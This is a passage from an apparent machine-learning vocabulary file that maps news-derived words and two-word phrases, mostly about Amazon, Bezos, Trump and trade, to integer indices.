\"bobby bones\": 22034,\n  \"suze orman\": 22035,\n  \"kullgren wrote\": 22036,\n  \"culturally insensitive\": 22037,\n  \"best page\": 22038,\n  \"boosters promised\": 22039,\n  \"charming witty\": 22040,\n  \"squalid post\": 22041,\n  \"hire clients\": 22042,\n  \"volkswagen shagmobile\": 22043,\n  \"situation abc\": 22044,\n  \"basic functions\": 22045,\n  \"c9x w9x\": 22046,\n  \"sending letters\": 22047,\n  \"jason redmond\": 22048,\n  \"physical cash\": 22049,\n  \"ricin\": 22050,\n  \"lex\": 22051,\n  \"zinke told\": 22052,\n  \"rise suggest\": 22053,\n  \"reports know\": 22054,\n  \"wltz\": 22055,\n  \"medication distributor\": 22056,\n  \"products according\": 22057,\n  \"pierce\": 22058,\n  \"collusion allow\": 22059,\n  \"tax corporations\": 22060,\n  \"enviros\": 22061,\n  \"defenses\": 22062,\n  \"gallery owner\": 22063,\n  \"benspielberg\": 22064,\n  \"bezos spoke\": 22065,\n  \"source stephanie\": 22066,\n  \"commie\": 22067,\n  \"clarity interviews\": 22068,\n  \"important fines\": 22069,\n  \"companies valued\": 22070,\n  \"amazon vendors\": 22071,\n  \"dots lining\": 22072,\n  \"transactions reported\": 22073,\n  \"obtaining monopoly\": 22074,\n  \"netflix production\": 22075,\n  \"doing public\": 22076,\n  \"series takes\": 22077,\n  \"significant amounts\": 22078,\n  \"3gb\": 22079,\n  \"indur\": 22080,\n  \"suffering economy\": 22081,\n  \"international network\": 22082,\n  \"just hit\": 22083,\n  \"medications specialty\": 22084,\n  \"internal systems\": 22085,\n  \"mps voted\": 22086,\n  \"know cyber\": 22087,\n  \"pesky mole\": 22088,\n  \"greene\": 22089,\n  \"regulatory approval\": 22090,\n  \"ikea tv\": 22091,\n  \"conor mcgregor\": 22092,\n  \"tremendous blow\": 22093,\n  \"win power\": 22094,\n  \"say digital\": 22095,\n  \"conway savages\": 22096,\n  \"fees charged\": 22097,\n  \"asap schumer\": 22098,\n  \"editor pleasure\": 22099,\n  \"abc jonathan\": 22100,\n  \"worried continue\": 22101,\n  \"michael bay\": 22102,\n  \"food grows\": 22103,\n  \"business competitors\": 22104,\n  \"unnamed ice\": 22105,\n  \"paradox anti\": 22106,\n  \"india pakistan\": 22107,\n  \"zinke team\": 22108,\n  \"tax control\": 22109,\n  \"reassess maybe\": 22110,\n  \"financial fallout\": 22111,\n  \"brighter exlarge\": 22112,\n  \"believe putin\": 22113,\n  \"munich\": 22114,\n  \"workers government\": 22115,\n  \"attorney alicandro\": 22116,\n  \"holding inventory\": 22117,\n  \"seller key\": 22118,\n  \"subscription shipping\": 22119,\n  \"companies twitter\": 22120,\n  \"472\": 22121,\n  \"mnuchin ascended\": 22122,\n  \"china retaliates\": 22123,\n  \"trump speeches\": 22124,\n  \"galleries fiery\": 22125,\n  \"quinn emanuel\": 22126,\n  \"epic tale\": 22127,\n  \"leblanc\": 22128,\n  \"officer yes\": 22129,\n  \"spectrum auctions\": 22130,\n  \"incentives don\": 22131,\n  \"toronto waterfront\": 22132,\n  \"taxes embedded\": 22133,\n  \"require companies\": 22134,\n  \"employed republican\": 22135,\n  \"recent allegations\": 22136,\n  \"offer cecilia\": 22137,\n  \"biden announced\": 22138,\n  \"savvy trump\": 22139,\n  \"bbc\": 22140,\n  \"8217 injurious\": 22141,\n  \"house freedom\": 22142,\n  \"costs ahead\": 22143,\n  \"postal treaty\": 22144,\n  \"lead despite\": 22145,\n  \"prices rising\": 22146,\n  \"university silicon\": 22147,\n  \"suzie\": 22148,\n  \"merrill lynch\": 22149,\n  \"llp\": 22150,\n  \"workers labor\": 22151,\n  \"retailers big\": 22152,\n  \"sent 690\": 22153,\n  \"employee request\": 22154,\n  \"airbag recall\": 22155,\n  \"buyingtribune media\": 22156,\n  \"labor supporter\": 22157,\n  \"constitutes bank\": 22158,\n  \"hd\": 22159,\n  \"kearny\": 22160,\n  \"absolutely absolutely\": 22161,\n  \"candidacy instead\": 22162,\n  \"panoramic\": 22163,\n  \"completely changed\": 22164,\n  \"stronger grasp\": 22165,\n  \"obviously interpreting\": 22166,\n  \"buy million\": 22167,\n  \"cranston plays\": 22168,\n  \"overtaxing\": 22169,\n  \"simulate having\": 22170,\n  \"capabilities\": 22171,\n  \"public iconic\": 22172,\n  \"eero\": 22173,\n  \"usps mail\": 22174,\n  \"coverage president\": 22175,\n  \"laurel debate\": 22176,\n  \"started pressuring\": 22177,\n  \"amplifies pressure\": 22178,\n  \"trump propaganda\": 22179,\n  \"apparent lack\": 22180,\n  \"americans hotstar\": 22181,\n  \"mail carriers\": 22182,\n  \"work habits\": 22183,\n  \"city fuggedaboutit\": 22184,\n  \"gop lost\": 22185,\n  \"replacement headlineposttext\": 22186,\n  \"trillion does\": 22187,\n  \"protectionist ways\": 22188,\n  \"bad trump\": 22189,\n  \"herald press\": 22190,\n  \"increase service\": 22191,\n  \"sweatshop working\": 22192,\n  \"parhizkaran northjersey\": 22193,\n  \"seattle minimum\": 22194,\n  \"obama regulators\": 22195,\n  \"smollett ridiculous\": 22196,\n  \"morose\": 22197,\n  \"power drill\": 22198,\n  \"email thoughts\": 22199,\n  \"stars jumping\": 22200,\n  \"travels shorter\": 22201,\n  \"fahrenheit clash\": 22202,\n  \"ibm told\": 22203,\n  \"juni 2018\": 22204,\n  \"article showing\": 22205,\n  \"crime mc\": 22206,\n  \"floridians frank\": 22207,\n  \"bates yesterday\": 22208,\n  \"refresh\": 22209,\n  \"source wall\": 22210,\n  \"surprising movie\": 22211,\n  \"2000 amazon\": 22212,\n  \"bengaluru accounts\": 22213,\n  \"year shipping\": 22214,\n  \"little weakness\": 22215,\n  \"smoothies\": 22216,\n  \"trump ethanol\": 22217,\n  \"helping industrial\": 22218,\n  \"cash bail\": 22219,\n  \"finalists amazon\": 22220,\n  \"netroots nation\": 22221,\n  \"return reasons\": 22222,\n  \"relationships trump\": 22223,\n  \"thejustice department\": 22224,\n  \"open food\": 22225,\n  \"oct 2017\": 22226,\n  \"abating\": 22227,\n  \"cute dogs\": 22228,\n  \"wider variety\": 22229,\n  \"decade involved\": 22230,\n  \"crime policed\": 22231,\n  \"meds\": 22232,\n  \"negotiations michael\": 22233,\n  \"hatch wrote\": 22234,\n  \"daughter barbara\": 22235,\n  \"rough\": 22236,\n  \"farm groups\": 22237,\n  \"delivery recommendations\": 22238,\n  \"sauron\": 22239,\n  \"cared\": 22240,\n  \"favors reduced\": 22241,\n  \"commission looking\": 22242,\n  \"best financial\": 22243,\n  \"paper salesman\": 22244,\n  \"day scroll\": 22245,\n  \"joseph addabbo\": 22246,\n  \"valanciunas\": 22247,\n  \"employees new\": 22248,\n  \"nuanced\": 22249,\n  \"existing employees\": 22250,\n  \"gridhash producthash\": 22251,\n  \"photography plus\": 22252,\n  \"neighborhoods according\": 22253,\n  \"include bizarre\": 22254,\n  \"lenert art\": 22255,\n  \"twitter jeffersongraham\": 22256,\n  \"dominick\": 22257,\n  \"blog post\": 22258,\n  \"thought gone\": 22259,\n  \"crummy\": 22260,\n  \"brennan apparently\": 22261,\n  \"shopped\": 22262,\n  \"survivors grow\": 22263,\n  \"homeless fund\": 22264,\n  \"fibs\": 22265,\n  \"trump obamacare\": 22266,\n  \"seen according\": 22267,\n  \"trump zeroes\": 22268,\n  \"coons christopher\": 22269,\n  \"medium saying\": 22270,\n  \"wars\": 22271,\n  \"green bay\": 22272,\n  \"response photograph\": 22273,\n  \"digit lead\": 22274,\n  \"coming years\": 22275,\n  \"time shall\": 22276,\n  \"logical\": 22277,\n  \"internet giants\": 22278,\n  \"story multiple\": 22279,\n  \"pencil dress\": 22280,\n  \"hudson yards\": 22281,\n  \"pictures\": 22282,\n  \"hollow charges\": 22283,\n  \"life hours\": 22284,\n  \"criminals\": 22285,\n  \"widow\": 22286,\n  \"tesla unveils\": 22287,\n  \"lobbyists amazon\": 22288,\n  \"internet association\": 22289,\n  \"called physical\": 22290,\n  \"require review\": 22291,\n  \"desperate melania\": 22292,\n  \"2015 gender\": 22293,\n  \"make race\": 22294,\n  \"beast cites\": 22295,\n  \"senior advisor\": 22296,\n  \"proud parents\": 22297,\n  \"demonizing greedy\": 22298,\n  \"sixth bestselling\": 22299,\n  \"andwhether\": 22300,\n  \"rumour\": 22301,\n  \"idaho need\": 22302,\n  \"margin electronic\": 22303,\n  \"tells reporters\": 22304,\n  \"usps partnership\": 22305,\n  \"clyburn says\": 22306,\n  \"tariffs begin\": 22307,\n  \"market rates\": 22308,\n  \"easily opt\": 22309,\n  \"trump eldest\": 22310,\n  \"kindle friendly\": 22311,\n  \"offer delivery\": 22312,\n  \"welles report\": 22313,\n  \"food sales\": 22314,\n  \"stressed mass\": 22315,\n  \"socialist sanders\": 22316,\n  \"detections face\": 22317,\n  \"gas sector\": 22318,\n  \"crystal kaswell\": 22319,\n  \"care makes\": 22320,\n  \"massive video\": 22321,\n  \"influence policymakers\": 22322,\n  \"nicest\": 22323,\n  \"hack bezos\": 22324,\n  \"strategy document\": 22325,\n  \"envisioned\": 22326,\n  \"stock performance\": 22327,\n  \"covers ruth\": 22328,\n  \"largest american\": 22329,\n  \"deliveries focusing\": 22330,\n  \"iranian prison\": 22331,\n  \"office phone\": 22332,\n  \"island fulfillment\": 22333,\n  \"bare\": 22334,\n  \"normal antitrust\": 22335,\n  \"remission\": 22336,\n  \"warrants\": 22337,\n  \"school joined\": 22338,\n  \"new poetry\": 22339,\n  \"guru ivy\": 22340,\n  \"reported revenue\": 22341,\n  \"rulemaking\": 22342,\n  \"asked cities\": 22343,\n  \"pro mary\": 22344,\n  \"michael elkan\": 22345,\n  \"providing facial\": 22346,\n  \"cultures wi\": 22347,\n  \"bernard arnault\": 22348,\n  \"halfhearted yes\": 22349,\n  \"control mode\": 22350,\n  \"executive branch\": 22351,\n  \"imperfect orson\": 22352,\n  \"authentication\": 22353,\n  \"occasionally clapped\": 22354,\n  \"tbs\": 22355,\n  \"started viral\": 22356,\n  \"130 words\": 22357,\n  \"state spending\": 22358,\n  \"social movement\": 22359,\n  \"cl acn\": 22360,\n  \"bank policy\": 22361,\n  \"delaney\": 22362,\n  \"amazon jungle\": 22363,\n  \"improves consumer\": 22364,\n  \"taxes tweeted\": 22365,\n  \"stuff purchased\": 22366,\n  \"greg behrendt\": 22367,\n  \"amazonian protections\": 22368,\n  \"nasdaq amgn\": 22369,\n  \"mining limited\": 22370,\n  \"sandberg apple\": 22371,\n  \"internet experience\": 22372,\n  \"starbucks card\": 22373,\n  \"cendrowicz\": 22374,\n  \"lori lightfoot\": 22375,\n  \"control staggering\": 22376,\n  \"othertop justice\": 22377,\n  \"halloween costumes\": 22378,\n  \"unfounded article\": 22379,\n  \"claim note\": 22380,\n  \"posts 2018\": 22381,\n  \"busy maria\": 22382,\n  \"probably driving\": 22383,\n  \"action focused\": 22384,\n  \"cbs australia\": 22385,\n  \"just grounds\": 22386,\n  \"ship package\": 22387,\n  \"unauthorized birkenstocks\": 22388,\n  \"letter follows\": 22389,\n  \"campaign run\": 22390,\n  \"security policies\": 22391,\n  \"wsj explains\": 22392,\n  \"clothes emblazoned\": 22393,\n  \"nick kokonas\": 22394,\n  \"national energy\": 22395,\n  \"washington strong\": 22396,\n  \"goodbye brian\": 22397,\n  \"upstate\": 22398,\n  \"strong medicine\": 22399,\n  \"jewish foods\": 22400,\n  \"inherently unprofitable\": 22401,\n  \"amazon handle\": 22402,\n  \"standard newspaper\": 22403,\n  \"subject line\": 22404,\n  \"city infrastructure\": 22405,\n  \"grant icann\": 22406,\n  \"corrupt saying\": 22407,\n  \"merle contributed\": 22408,\n  \"tweets\": 22409,\n  \"today bloomberg\": 22410,\n  \"favorite platforms\": 22411,\n  \"vilified bezos\": 22412,\n  \"photo lorena\": 22413,\n  \"solutions taking\": 22414,\n  \"seen cassidy\": 22415,\n  \"coma\": 22416,\n  \"google months\": 22417,\n  \"telling\": 22418,\n  \"shiny\": 22419,\n  \"bezos cuz\": 22420,\n  \"hand way\": 22421,\n  \"bezos sanders\": 22422,\n  \"aware senator\": 22423,\n  \"jessie spirals\": 22424,\n  \"death cross\": 22425,\n  \"ceded\": 22426,\n  \"ted talk\": 22427,\n  \"ramesh\": 22428,\n  \"friendly policies\": 22429,\n  \"amazon told\": 22430,\n  \"provider items\": 22431,\n  \"case fingerprint\": 22432,\n  \"generic drugs\": 22433,\n  \"reading uk\": 22434,\n  \"inside president\": 22435,\n  \"customer relationship\": 22436,\n  \"presssec twitter\": 22437,\n  \"swiftly led\": 22438,\n  \"alphabet followed\": 22439,\n  \"writer knows\": 22440,\n  \"deal setting\": 22441,\n  \"tech federal\": 22442,\n  \"massive benefits\": 22443,\n  \"plots\": 22444,\n  \"women illinois\": 22445,\n  \"mathison 118\": 22446,\n  \"biggest forms\": 22447,\n  \"companies finances\": 22448,\n  \"republicans johnson\": 22449,\n  \"decision making\": 22450,\n  \"thant trump\": 22451,\n  \"defense contracting\": 22452,\n  \"earnings going\": 22453,\n  \"governor phil\": 22454,\n  \"provides future\": 22455,\n  \"billion final\": 22456,\n  \"night episode\": 22457,\n  \"motivations bezos\": 22458,\n  \"climate impacts\": 22459,\n  \"weaker horowitz\": 22460,\n  \"talking doll\": 22461,\n  \"biden offered\": 22462,\n  \"buzzfeed congress\": 22463,\n  \"newsdaily\": 22464,\n  \"help new\": 22465,\n  \"scrutiny reflects\": 22466,\n  \"trump anti\": 22467,\n  \"increased delivery\": 22468,\n  \"area suggesting\": 22469,\n  \"party members\": 22470,\n  \"currentvidobj videourl\": 22471,\n  \"large coin\": 22472,\n  \"outlook ibm\": 22473,\n  \"make 000\": 22474,\n  \"management discussion\": 22475,\n  \"novelists gary\": 22476,\n  \"china set\": 22477,\n  \"outlets linked\": 22478,\n  \"colourful mad\": 22479,\n  \"accurately assessed\": 22480,\n  \"nope nyc\": 22481,\n  \"hermit\": 22482,\n  \"niche\": 22483,\n  \"pistol\": 22484,\n  \"2019 white\": 22485,\n  \"employees bitter\": 22486,\n  \"strong prime\": 22487,\n  \"standing trump\": 22488,\n  \"compelling\": 22489,\n  \"illegally subsidized\": 22490,\n  \"concurrent\": 22491,\n  \"better option\": 22492,\n  \"presidential ire\": 22493,\n  \"watch albuquerque\": 22494,\n  \"panel mike\": 22495,\n  \"driven portfolio\": 22496,\n  \"diverse sectors\": 22497,\n  \"conners\": 22498,\n  \"china raises\": 22499,\n  \"protest low\": 22500,\n  \"changes occurring\": 22501,\n  \"coast\": 22502,\n  \"bracket\": 22503,\n  \"rule 10b5\": 22504,\n  \"institution trump\": 22505,\n  \"twinkle little\": 22506,\n  \"multichannel sellers\": 22507,\n  \"included letter\": 22508,\n  \"accessed\": 22509,\n  \"denounce trump\": 22510,\n  \"failed startup\": 22511,\n  \"undisclosed time\": 22512,\n  \"exacts social\": 22513,\n  \"attacks\": 22514,\n  \"key terms\": 22515,\n  \"gross overpayment\": 22516,\n  \"mongodb based\": 22517,\n  \"hillary wing\": 22518,\n  \"group muckerman\": 22519,\n  \"amazon stems\": 22520,\n  \"value year\": 22521,\n  \"disney agreed\": 22522,\n  \"foundation 10th\": 22523,\n  \"messages wait\": 22524,\n  \"report puts\": 22525,\n  \"cloud gaming\": 22526,\n  \"technical buy\": 22527,\n  \"right position\": 22528,\n  \"csco late\": 22529,\n  \"requiring bank\": 22530,\n  \"tuned don\": 22531,\n  \"gun away\": 22532,\n  \"season mortgage\": 22533,\n  \"deal gone\": 22534,\n  \"brain operating\": 22535,\n  \"review pride\": 22536,\n  \"vince lewis\": 22537,\n  \"clinton sitting\": 22538,\n  \"dollar empire\": 22539,\n  \"qdt4yol5z4 bernie\": 22540,\n  \"amid campaign\": 22541,\n  \"booth zinke\": 22542,\n  \"vice versa\": 22543,\n  \"doesn exist\": 22544,\n  \"blazing\": 22545,\n  \"amazon declined\": 22546,\n  \"ami threatened\": 22547,\n  \"trudeau bs_link\": 22548,\n  \"millennial parents\": 22549,\n  \"nude person\": 22550,\n  \"offer big\": 22551,\n  \"worldwide newsletter\": 22552,\n  \"national republican\": 22553,\n  \"level trump\": 22554,\n  \"oeknowing keeps\": 22555,\n  \"lawn mower\": 22556,\n  \"political pundit\": 22557,\n  \"delay tariff\": 22558,\n  \"fumbles\": 22559,\n  \"conditioning systems\": 22560,\n  \"treasure island\": 22561,\n  \"foster competition\": 22562,\n  \"budget plan\": 22563,\n  \"ross franklin\": 22564,\n  \"pricing advantage\": 22565,\n  \"4bn 107bn\": 22566,\n  \"tabloid supposedly\": 22567,\n  \"nvidia nvda\": 22568,\n  \"mellow lines\": 22569,\n  \"indias\": 22570,\n  \"washington says\": 22571,\n  \"businesses repeal\": 22572,\n  \"competitors share\": 22573,\n  \"big tvs\": 22574,\n  \"large additional\": 22575,\n  \"propelled\": 22576,\n  \"questionable security\": 22577,\n  \"wsj jake\": 22578,\n  \"stubs\": 22579,\n  \"enforce concessions\": 22580,\n  \"relationship technology\": 22581,\n  \"military backed\": 22582,\n  \"dissented\": 22583,\n  \"automated warehouses\": 22584,\n  \"make shira\": 22585,\n  \"rocky white\": 22586,\n  \"870 billion\": 22587,\n  \"irrational president\": 22588,\n  \"jim elliott\": 22589,\n  \"private conversations\": 22590,\n  \"president cabinet\": 22591,\n  \"pete 2020\": 22592,\n  \"journal headline\": 22593,\n  \"kennedy did\": 22594,\n  \"itemizing\": 22595,\n  \"included president\": 22596,\n  \"katchen\": 22597,\n  \"welfare workers\": 22598,\n  \"photo illustration\": 22599,\n  \"slowly read\": 22600,\n  \"numbers according\": 22601,\n  \"level campaign\": 22602,\n  \"killing monopoly\": 22603,\n  \"ap photo\": 22604,\n  \"facebook advertising\": 22605,\n  \"delayed ft\": 22606,\n  \"anchor prior\": 22607,\n  \"r4ee y6\": 22608,\n  \"edward jones\": 22609,\n  \"revenues amazon\": 22610,\n  \"agreement gives\": 22611,\n  \"family immigration\": 22612,\n  \"jarod kushner\": 22613,\n  \"admission scandal\": 22614,\n  \"legal documents\": 22615,\n  \"optic broadband\": 22616,\n  \"tells fed\": 22617,\n  \"private prison\": 22618,\n  \"society resources\": 22619,\n  \"rising regulatory\": 22620,\n  \"majority shareholder\": 22621,\n  \"emails showed\": 22622,\n  \"burger joint\": 22623,\n  \"viking press\": 22624,\n  \"sustaining mchugh\": 22625,\n  \"old summer\": 22626,\n  \"rebounders\": 22627,\n  \"hundreds powerful\": 22628,\n  \"cyber commerce\": 22629,\n  \"anonymous letter\": 22630,\n  \"verbally approached\": 22631,\n  \"revenue stream\": 22632,\n  \"expertly\": 22633,\n  \"provisions discusses\": 22634,\n  \"simpson wore\": 22635,\n  \"hilarious joseph\": 22636,\n  \"photos deer\": 22637,\n  \"judy\": 22638,\n  \"expected challenges\": 22639,\n  \"financially independent\": 22640,\n  \"capable technologies\": 22641,\n  \"house salary\": 22642,\n  \"181406661 abc\": 22643,\n  \"shopping sites\": 22644,\n  \"emotional darkness\": 22645,\n  \"anatomy\": 22646,\n  \"beck mack\": 22647,\n  \"bedrijven als\": 22648,\n  \"industry oppose\": 22649,\n  \"biggie\": 22650,\n  \"lego build\": 22651,\n  \"wine world\": 22652,\n  \"court\": 22653,\n  \"register northwest\": 22654,\n  \"amazon knows\": 22655,\n  \"constituencies influence\": 22656,\n  \"1984 world\": 22657,\n  \"narrow political\": 22658,\n  \"representative democracy\": 22659,\n  \"book born\": 22660,\n  \"cars cpi\": 22661,\n  \"attract amazon\": 22662,\n  \"regulate commerce\": 22663,\n  \"300 miles\": 22664,\n  \"quadrille\": 22665,\n  \"225\": 22666,\n  \"university published\": 22667,\n  \"considered trade\": 22668,\n  \"dc afp\": 22669,\n  \"representing extreme\": 22670,\n  \"global ones\": 22671,\n  \"predictable liz\": 22672,\n  \"programs\": 22673,\n  \"american issues\": 22674,\n  \"legacy computer\": 22675,\n  \"labs geekwire\": 22676,\n  \"depicted somewhat\": 22677,\n  \"afp trump\": 22678,\n  \"street trading\": 22679,\n  \"swa launched\": 22680,\n  \"world events\": 22681,\n  \"amazon contributed\": 22682,\n  \"bargainers formally\": 22683,\n  \"dog billionaire\": 22684,\n  \"mystal elienyc\": 22685,\n  \"fast path\": 22686,\n  \"networks reported\": 22687,\n  \"killed new\": 22688,\n  \"year working\": 22689,\n  \"spanned\": 22690,\n  \"russian princess\": 22691,\n  \"story rupert\": 22692,\n  \"home devices\": 22693,\n  \"group eventually\": 22694,\n  \"currently public\": 22695,\n  \"cbc\": 22696,\n  \"years elkan\": 22697,\n  \"amazon entirely\": 22698,\n  \"cbs murphy\": 22699,\n  \"criticized founder\": 22700,\n  \"complex economy\": 22701,\n  \"thisadministration\": 22702,\n  \"help shape\": 22703,\n  \"shorter distance\": 22704,\n  \"people privacy\": 22705,\n  \"2018 hasn\": 22706,\n  \"city split\": 22707,\n  \"american economy\": 22708,\n  \"city following\": 22709,\n  \"jarrett cnn\": 22710,\n  \"g20\": 22711,\n  \"polling director\": 22712,\n  \"operation blue\": 22713,\n  \"iol\": 22714,\n  \"lawsuit states\": 22715,\n  \"mexico believe\": 22716,\n  \"yacht rich\": 22717,\n  \"additional content\": 22718,\n  \"unwaveringly\": 22719,\n  \"doubled\": 22720,\n  \"size 18px\": 22721,\n  \"southern indiana\": 22722,\n  \"maduro speaks\": 22723,\n  \"merve\": 22724,\n  \"adapted\": 22725,\n  \"wigs\": 22726,\n  \"hernandez instead\": 22727,\n  \"magazine called\": 22728,\n  \"turn semi\": 22729,\n  \"local legislative\": 22730,\n  \"tracking simpler\": 22731,\n  \"investors continue\": 22732,\n  \"salman really\": 22733,\n  \"conditions inaccurate\": 22734,\n  \"juana\": 22735,\n  \"nutritious simple\": 22736,\n  \"hasn really\": 22737,\n  \"austin powers\": 22738,\n  \"abc afghanistan\": 22739,\n  \"exceed 100\": 22740,\n  \"celtic fc\": 22741,\n  \"extraordinary company\": 22742,\n  \"getelementbyid\": 22743,\n  \"lift people\": 22744,\n  \"title spacex\": 22745,\n  \"michael kern\": 22746,\n  \"commerce advisor\": 22747,\n  \"products discovered\": 22748,\n  \"proper united\": 22749,\n  \"details building\": 22750,\n  \"apos products\": 22751,\n  \"marketing documents\": 22752,\n  \"win nasdaq\": 22753,\n  \"books16\": 22754,\n  \"created\": 22755,\n  \"inactive\": 22756,\n  \"opposing party\": 22757,\n  \"altering amazon\": 22758,\n  \"using app\": 22759,\n  \"develop large\": 22760,\n  \"grp\": 22761,\n  \"tonight eisen\": 22762,\n  \"basis facebook\": 22763,\n  \"excellent emily\": 22764,\n  \"usps typical\": 22765,\n  \"51554475796\": 22766,\n  \"sharpdog sharpd0g\": 22767,\n  \"cost effectiveness\": 22768,\n  \"omission\": 22769,\n  \"monica peart\": 22770,\n  \"force report\": 22771,\n  \"label elected\": 22772,\n  \"collecting suggestions\": 22773,\n  \"massachusetts democratic\": 22774,\n  \"education\": 22775,\n  \"license plate\": 22776,\n  \"possible removal\": 22777,\n  \"highest levels\": 22778,\n  \"reach 275\": 22779,\n  \"publishing imprint\": 22780,\n  \"news pacer\": 22781,\n  \"tomove\": 22782,\n  \"founder private\": 22783,\n  \"jump samir\": 22784,\n  \"amazon bolsonaro\": 22785,\n  \"ri\": 22786,\n  \"months deforestation\": 22787,\n  \"huttenlocher william\": 22788,\n  \"influential 2017\": 22789,\n  \"critiquing\": 22790,\n  \"investigations mission\": 22791,\n  \"haunting page\": 22792,\n  \"tournament\": 22793,\n  \"adding sports\": 22794,\n  \"ally peter\": 22795,\n  \"just beginning\": 22796,\n  \"emre\": 22797,\n  \"west boulder\": 22798,\n  \"observation revolves\": 22799,\n  \"companies hire\": 22800,\n  \"galvanize rage\": 22801,\n  \"thing best\": 22802,\n  \"london playbook\": 22803,\n  \"wired contacted\": 22804,\n  \"undermining various\": 22805,\n  \"profitable businesses\": 22806,\n  \"2013 mccain\": 22807,\n  \"primary democrats\": 22808,\n  \"sensitive everglades\": 22809,\n  \"projection\": 22810,\n  \"funeral ireland\": 22811,\n  \"decals walmart\": 22812,\n  \"deliver value\": 22813,\n  \"stations commitment\": 22814,\n  \"lies woven\": 22815,\n  \"socio environmental\": 22816,\n  \"complies fits\": 22817,\n  \"heated comments\": 22818,\n  \"2017 brought\": 22819,\n  \"publicly accused\": 22820,\n  \"negative consequences\": 22821,\n  \"youth appealing\": 22822,\n  \"extraordinary days\": 22823,\n  \"technically nadler\": 22824,\n  \"completey block\": 22825,\n  \"elizabeth nelson\": 22826,\n  \"gloves inside\": 22827,\n  \"science cjs\": 22828,\n  \"counterfeiting industry\": 22829,\n  \"paprika\": 22830,\n  \"save time\": 22831,\n  \"miami book\": 22832,\n  \"wilbur ross\": 22833,\n  \"biden book\": 22834,\n  \"today real\": 22835,\n  \"admission 101\": 22836,\n  \"5bn pakistan\": 22837,\n  \"personal behavior\": 22838,\n  \"union accused\": 22839,\n  \"meaningful elections\": 22840,\n  \"eclipsed\": 22841,\n  \"strictly obeyed\": 22842,\n  \"tennis games\": 22843,\n  \"typeerror\": 22844,\n  \"amazon fb\": 22845,\n  \"crews\": 22846,\n  \"star old\": 22847,\n  \"dismissed question\": 22848,\n  \"trump reacted\": 22849,\n  \"monopoly offer\": 22850,\n  \"mere sliver\": 22851,\n  \"upping prices\": 22852,\n  \"biting presidential\": 22853,\n  \"dc david\": 22854,\n  \"story follows\": 22855,\n  \"chains plunged\": 22856,\n  \"jani\": 22857,\n  \"larger counterparts\": 22858,\n  \"personalities bezos\": 22859,\n  \"beleaguered\": 22860,\n  \"catching wind\": 22861,\n  \"pursue ventures\": 22862,\n  \"sound\": 22863,\n  \"service makes\": 22864,\n  \"near trump\": 22865,\n  \"obama budget\": 22866,\n  \"asked matthew\": 22867,\n  \"unvarnished\": 22868,\n  \"thirstiest\": 22869,\n  \"unusually high\": 22870,\n  \"proposed postal\": 22871,\n  \"kids measles\": 22872,\n  \"secured facility\": 22873,\n  \"vestal ward\": 22874,\n  \"wands\": 22875,\n  \"actually achieve\": 22876,\n  \"buy flip\": 22877,\n  \"people sake\": 22878,\n  \"open wayfair\": 22879,\n  \"statement mississippi\": 22880,\n  \"protectionist advisers\": 22881,\n  \"married lauren\": 22882,\n  \"established fact\": 22883,\n  \"chinese firms\": 22884,\n  \"monsanto\": 22885,\n  \"obviously\": 22886,\n  \"retail partners\": 22887,\n  \"enjoy just\": 22888,\n  \"think 2011\": 22889,\n  \"play board\": 22890,\n  \"codex alex\": 22891,\n  \"guest needs\": 22892,\n  \"couple did\": 22893,\n  \"andsign\": 22894,\n  \"reportedly quietly\": 22895,\n  \"ledqb0gdhg\": 22896,\n  \"analysis showed\": 22897,\n  \"broccoli\": 22898,\n  \"incited hate\": 22899,\n  \"accelerating\": 22900,\n  \"aws continuing\": 22901,\n  \"support expressed\": 22902,\n  \"york called\": 22903,\n  \"focal\": 22904,\n  \"freight initiative\": 22905,\n  \"eighth consecutive\": 22906,\n  \"soaring gains\": 22907,\n  \"taliban assures\": 22908,\n  \"wonder cabinet\": 22909,\n  \"rosslyn ballston\": 22910,\n  \"force briefed\": 22911,\n  \"publication commenting\": 22912,\n  \"paperback version\": 22913,\n  \"blitzkrieg\": 22914,\n  \"thinly veiled\": 22915,\n  \"logged\": 22916,\n  \"zm4dyqeqxl steve\": 22917,\n  \"hq2 price\": 22918,\n  \"attractive\": 22919,\n  \"companies haven\": 22920,\n  \"100418\": 22921,\n  \"vulnerable group\": 22922,\n  \"campaign war\": 22923,\n  \"climate corporation\": 22924,\n  \"happen access\": 22925,\n  \"involvement\": 22926,\n  \"movie projects\": 22927,\n  \"ray hinton\": 22928,\n  \"business exclusive\": 22929,\n  \"recovering months\": 22930,\n  \"gender dynamics\": 22931,\n  \"senate cr\": 22932,\n  \"breaking profits\": 22933,\n  \"reflect schedule\": 22934,\n  \"geopolitics related\": 22935,\n  \"yoswein new\": 22936,\n  \"quarter 2018\": 22937,\n  \"require multiple\": 22938,\n  \"children education\": 22939,\n  \"stories carries\": 22940,\n  \"title liars\": 22941,\n  \"fighting fine\": 22942,\n  \"rocket called\": 22943,\n  \"publish important\": 22944,\n  \"2017 slideshows\": 22945,\n  \"abc boeing\": 22946,\n  \"google management\": 22947,\n  \"tumbling\": 22948,\n  \"mastercard ma\": 22949,\n  \"hotly\": 22950,\n  \"simply forgotten\": 22951,\n  \"investigate bezos\": 22952,\n  \"tiers\": 22953,\n  \"sketch paints\": 22954,\n  \"government overreach\": 22955,\n  \"numbers reported\": 22956,\n  \"office gains\": 22957,\n  \"maria butina\": 22958,\n  \"trump played\": 22959,\n  \"important metric\": 22960,\n  \"sister addalyn\": 22961,\n  \"morrissey\": 22962,\n  \"writer kyo\": 22963,\n  \"posted ebitda\": 22964,\n  \"wife team\": 22965,\n  \"wring false\": 22966,\n  \"revenue report\": 22967,\n  \"release announcing\": 22968,\n  \"flick hits\": 22969,\n  \"integrated company\": 22970,\n  \"significantly involved\": 22971,\n  \"changes amazon\": 22972,\n  \"hbo amazon\": 22973,\n  \"including report\": 22974,\n  \"wants bezos\": 22975,\n  \"mecklenburg\": 22976,\n  \"newspaper defense\": 22977,\n  \"grant payment\": 22978,\n  \"houses stake\": 22979,\n  \"pasta\": 22980,\n  \"competing product\": 22981,\n  \"light poles\": 22982,\n  \"ironclad case\": 22983,\n  \"awakens amazon\": 22984,\n  \"businesses working\": 22985,\n  \"amazon purchases\": 22986,\n  \"navarro cited\": 22987,\n  \"inequality soars\": 22988,\n  \"challenging actions\": 22989,\n  \"hourly rate\": 22990,\n  \"selling price\": 22991,\n  \"600 million\": 22992,\n  \"p9x\": 22993,\n  \"confidential company\": 22994,\n  \"disallowed\": 22995,\n  \"amazon courted\": 22996,\n  \"972\": 22997,\n  \"used money\": 22998,\n  \"invented dominating\": 22999,\n  \"trump siblings\": 23000,\n  \"particular instances\": 23001,\n  \"tests measure\": 